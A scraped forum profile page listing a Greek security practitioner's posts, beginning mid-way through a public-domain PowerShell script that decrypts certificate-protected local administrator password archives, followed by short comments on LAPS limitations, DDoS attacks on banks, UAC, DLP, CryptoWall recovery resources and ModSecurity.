present working directory of the script, search the # password archive files located in \\server\share. Another local # folder can be specified instead of a UNC network path. The wildcard # in the computer name will show the most recent password updates for # all matching computer names in \\server\share for the Administrator. # #.Example # .\Recover-PasswordArchive.ps1 -PasswordArchivePath \\server\share -ComputerName LAPTOP47 -ShowAll # # Instead of showing only the last password update for the Administrator account, # show all archived passwords in the \\server\share folder for LAPTOP47. # # #Requires -Version 2.0 # #.Notes # Author: Jason Fossen, Enclave Consulting LLC (http://www.sans.org/sec505) # Version: 5.2 # Updated: 10.Jul.2015 # LEGAL: PUBLIC DOMAIN. SCRIPT PROVIDED "AS IS" WITH NO WARRANTIES OR GUARANTEES OF # ANY KIND, INCLUDING BUT NOT LIMITED TO MERCHANTABILITY AND/OR FITNESS FOR # A PARTICULAR PURPOSE. ALL RISKS OF DAMAGE REMAINS WITH THE USER, EVEN IF # THE AUTHOR, SUPPLIER OR DISTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF # ANY SUCH DAMAGE. IF YOUR STATE DOES NOT PERMIT THE COMPLETE LIMITATION OF # LIABILITY, THEN DELETE THIS FILE SINCE YOU ARE NOW PROHIBITED TO HAVE IT. #################################################################################### Param ($PasswordArchivePath = ".\", $ComputerName = "$env:computername", $UserName = "Guest", [Switch] $ShowAll) # Rijndael decryption function used after $Key is decrypted with private key of cert. # Why not use AES explicitly? That requires .NET Framework 3.5 or later. function Decrypt-KeyPlusIV ([byte[]] $Key, [byte[]] $IV, [byte[]] $CipherBytes) { $Rijndael = New-Object -TypeName System.Security.Cryptography.RijndaelManaged $Rijndael.Key = $Key $Rijndael.IV = $IV $Rijndael.Padding = [System.Security.Cryptography.PaddingMode]::ISO10126 $Decryptor = $Rijndael.CreateDecryptor() $MemoryStream = New-Object -TypeName System.IO.MemoryStream $StreamMode = [System.Security.Cryptography.CryptoStreamMode]::Write $CryptoStream = New-Object -TypeName System.Security.Cryptography.CryptoStream -ArgumentList $MemoryStream,$Decryptor,$StreamMode $CryptoStream.Write($CipherBytes, 0, $CipherBytes.Count) $CryptoStream.Dispose() #Must come after the Write() or else "padding error" when decrypting. [byte[]] $MemoryStream.ToArray() $MemoryStream.Dispose() } # Construct and test path to encrypted password files. $PasswordArchivePath = $(resolve-path -path $PasswordArchivePath).path if ($PasswordArchivePath -notlike "*\") { $PasswordArchivePath = $PasswordArchivePath + "\" } if (-not $(test-path -path $PasswordArchivePath)) { "`nERROR: Cannot find path: " + $PasswordArchivePath + "`n" ; exit } # Get encrypted password files and sort by name, which sorts by tick number, i.e., by creation timestamp. $files = @(dir ($PasswordArchivePath + "$ComputerName+*+*+*") | sort Name) if ($files.count -eq 0) { "`nERROR: No password archives for " + $ComputerName + "`n" ; exit } # Filter by UserName and get the latest archive file only, unless -ShowAll is used. if (-not $ShowAll) { $files = @( $files | where { $_.name -like "*+$($UserName.Trim())+*+*" } ) if ($files.count -eq 0) { "`nERROR: No password archives for " + $ComputerName + "\" + $UserName + "`n" ; exit } $files = $files[-1] } # Load the current user's certificates and private keys. try { $readonlyflag = [System.Security.Cryptography.X509Certificates.OpenFlags]::ReadOnly $currentuser = [System.Security.Cryptography.X509Certificates.StoreLocation]::CurrentUser $usercertstore = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Store -ArgumentList $currentuser $usercertstore.Open($readonlyflag) $usercertificates = $usercertstore.Certificates } catch { "`nERROR: Could not open your certificates store. `n" exit } finally { $usercertstore.Close() } if ($usercertificates.count -eq 0) { "`nERROR: You have no certificates or private keys.`n" ; exit } # Process each encrypted password archive file. foreach ($lastfile in $files) ` { $output = ($output = " " | select-object ComputerName,FilePath,UserName,TimeStamp,Thumbprint,Valid,StatusMessage,Password) $output.ComputerName = $($lastfile.Name -split '\+')[0] $output.FilePath = $lastfile.fullname $output.UserName = $($lastfile.Name -split '\+')[1] $output.TimeStamp = [DateTime][Int64]$($lastfile.Name -split '\+')[2] $output.Valid = $false #Assume password recovery will fail. $output.Thumbprint = $($lastfile.Name -split '\+')[3] # Check for password reset failure files. if ($output.Thumbprint -eq "PASSWORD-RESET-FAILURE") { $output.StatusMessage = "ERROR: Try to use prior password(s) for this computer." $output.Valid = $false $output continue } # Read in password archive binary file. [byte[]] $ciphertext = get-content -encoding byte -path $lastfile.fullname if (-not $?) { $output.StatusMessage = "ERROR: Failed to read " + $lastfile.fullname $output.Valid = $false $output continue } # Sanity check size of archive file just read in (test with 1-char password and 1024-bit pub key). if ($ciphertext.count -lt 287) { $output.StatusMessage = "ERROR: Too small to be a valid file: " + $lastfile.fullname $output.Valid = $false $output continue } # Load the correct certificate and test for possession of private key. $thecert = $usercertificates | where { $_.thumbprint -eq $output.thumbprint } if (-not $thecert.hasprivatekey) { $output.StatusMessage = "ERROR: You do not have the private key for this certificate." $output.Valid = $false $output continue } # Test to confirm that the private key can be accessed, not just that it exists. The # problem is that it is not a trivial task to allow .NET or PowerShell to use # private keys managed by Crytography Next Generation (CNG) key storage providers, hence, # these scripts are only compatible with the older Cryptographic Service Providers (CSPs), such # as the "Microsoft Enhanced Cryptographic Provider", but not the newer CNG "Microsoft # Software Key Storage Provider". Sorry... if ($thecert.privatekey -eq $null) { $output.StatusMessage = "ERROR: This script is not compatible with CNG key storage providers." $output.Valid = $false $output continue } # Size of the public key is needed to compute sizes of fields in the archive file. $pubkeysize = $thecert.publickey.key.keysize / 8 #Size in bytes. # Extract encrypted Key+IV from the ciphertext and decrypt them with private key. # If this raises a "Bad Key" error, then likely the certificate originally used to encrypt the data # does not have "Key Encipherment" listed under "Key Usage" in the properties of the cert. The # cert template must include Encryption as an allowed purpose on the Request Handling tab. [byte[]] $KeyPlusIV = $thecert.privatekey.decrypt( [byte[]] @($ciphertext[0..$($pubkeysize - 1)]), $false) #Must be $false for smart card to work. if (-not $? -or $KeyPlusIV.count -lt 48) { $output.StatusMessage = "ERROR: Decryption of symmetric key and IV failed, possibly because the certificate has a Key Usage which does not allow Key Encipherment. Check the certificate template being used by your Certification Authority (CA): the template must have Encryption listed as an allowed purpose on the Request Handling tab in the properties of the template." $output.Valid = $false $output continue } # Remove Key+IV from $ciphertext to make offset calculations easier (can ignore pub key size now). $ciphertext = $ciphertext[$pubkeysize..($ciphertext.count - 1)] # Decrypt the rest of the file with the Key and IV. [byte[]] $plaintextout = Decrypt-KeyPlusIV -Key $KeyPlusIV[0..31] -IV $KeyPlusIV[32..47] -CipherBytes $ciphertext if (-not $? -or $plaintextout.count -lt 152) #32-byte hash and 120-byte path at least. { $output.StatusMessage = "ERROR: Decryption of hash failed, possible archive file corruption." $output.Valid = $false $output continue } # Parse out the SHA256 hash, filename nonce, and password bytes (UTF16 = 2 bytes per char). [byte[]] $savedhash = $plaintextout[0..31] [byte[]] $savedpath = $plaintextout[32..151] [byte[]] $password = $plaintextout[152..($plaintextout.Count - 1)] # Convert password byte array back into UTF16LE. $output.Password = ([System.Text.Encoding]::Unicode).GetString($password) if ($?) { $output.StatusMessage = "Success" } # Confirm that the saved hash matches the current hash. $SHA256Hasher = [System.Security.Cryptography.SHA256]::Create() [Byte[]] $newhash = $SHA256Hasher.ComputeHash( $savedpath + $password ) $SHA256Hasher = $null #.Dispose() not supported in PowerShell 2.0 if (compare-object -ReferenceObject $savedhash -DifferenceObject $newhash) { $output.Valid = $false $output.StatusMessage = "ERROR: Hash integrity check failure, but password may still work." $output continue } else { #Compare-Object only produces output if there is a difference. $output.Valid = $true } # Confirm that archive file name matches the path string in the file. # This string can also be used for troubleshooting if the files are renamed. $savedpathstring = ([System.Text.Encoding]::Unicode).GetString($savedpath) if ($lastfile.name -notlike ($savedpathstring + "*")) { $output.Valid = $false $output.StatusMessage = "ERROR: Path check failure, but password may still work." $output continue } # Emit completed object, goto next archive file. $output } # FIN
  9. LAPS 1) αποθηκεύει τους κωδικούς πρόσβασης plaintext στο Active Directory database, και χρησιμοποιεί AD permissions για να περιορίσει την πρόσβαση στα passwords, 2) απαιτεί update στο Active Directory schema, 3) απαιτεί Group Policy client-side extension (an MSI package) σε ολους τους managed hosts, 4) δεν παιζει για stand-alone servers η workstations λογο Active Directory and Group Policy components, 5) μπορεί να χρησιμοποιηθεί μόνο για να διαχειριστεί το πολύ δύο local user accounts σε καθε μηχανημα, οχι παραπανω 6) εννοειτε πως δεν εχουμε τον πηγαιο κωδικα για να κανουμε αλλαγες (C++ source code LAPS client-side extension) Υπαρχουν powershell scripts που ειναι πολυ καλυτερα απο το LAPS....Και δεν χρειαζετε να κανει κανεις τιποτα απο τα παραπανω....
  10. μαλλον φιλε θα θύμωσε που του περασες τα 10.... :P
  11. Για να πεσει ενα ebanking η ενα www τα 5 και τα 9 ειναι πολλα.... ΥΠ. αλλο πραγμα η αμαζον....
  12. Τα attacks ειναι layer3 πιο πολυ και το botnet ειναι τεραστιο.... "απλά νορμάλ σε θέματα πακέτων" με αυτο blackman τι εννοεις ?
  13. Οταν σου στελνουν 5 Gigabit sustained traffic per second ειναι δυσκολο για ολους....εχει σημασια να δουμε σε τι layer δεχονται το DoS....αναμένουμε...
  14. Απο περιέργεια ρωταω για πιον λογο θελεις να ελενχεις το UAC ???? Το ρωταω μιας και σε ολες τις εκδοσεις των Windows γινετε bypass οποτε τι ειναι αυτο που θα ηθελες να βλεπεις ???.....
  15. Auto pou 8es apo oso katalavaino einai DLP (Data Leakage Prevention). To provlima edo einai se ti glossa einai ta pdf giati kapoia DLP den ipostirizoun ellinika...
  16. απο της πολλες της σβουρες το επαθε....https://pbs.twimg.com/tweet_video/CTAdsJEUsAAaC6R.mp4
  17. Sorry gia ta greeklish...sou postaro kapoia apo ta notes pou exo kratisi sxetika...Exo para ma para poli kairo na asxoli8o allla isos se boi8isoun... The malware deletes the Shadow copies so the reverting Restore points. (http://nabzsoftware.com/types-of-threats/cryptowall-3-0 and http://blog.trendmicro.com/trendlabs-security-intelligence/cryptowall-3-0-ransomware-partners-with-fareit-spyware/ ) sites offers an recovery guide – (http://malwaretips.com/blogs/remove-cryptowall-3-0-virus/ and http://www.pcrisk.com/removal-guides/7844-cryptowall-virus ) nice analysis of the malware – (http://www.sentinelone.com/blog/anatomy-of-cryptowall-3-0-a-look-inside-ransomwares-tactics/ ) “It turns out that some of the key servers used by the Cryptolocker scammers had been intercepted by the authorities, and they managed to capture enough information to allow them to decrypt the documents of anyone whose computer had been affected. So, if your PC was affected by Cryptlocker, or you know someone whose machine was, head to https://www.decryptcryptolocker.com/ and upload one of your encrypted files. This will allow the site to determine the code for unlocking all of the files on the affected PC. Full details are on the site.” (http://www.techsupportalert.com/content/cryptolocker-encryption-cracked-how-get-your-files-back.htm) Auta exo stis simeiosis mou... /Kyprianos
  18. Panteli, To mod security einai noumero ena WAF ston kosmo oso afora ta open source. Sigrinete aneta me arketa commercial WAF( 8a elega oti einai anotero apo ta perisotera) opote den katalavaino tin erotisi gia aksioprepes WAF? 8elis na ginis pio sigekrimenos...
×
×
  • Create New...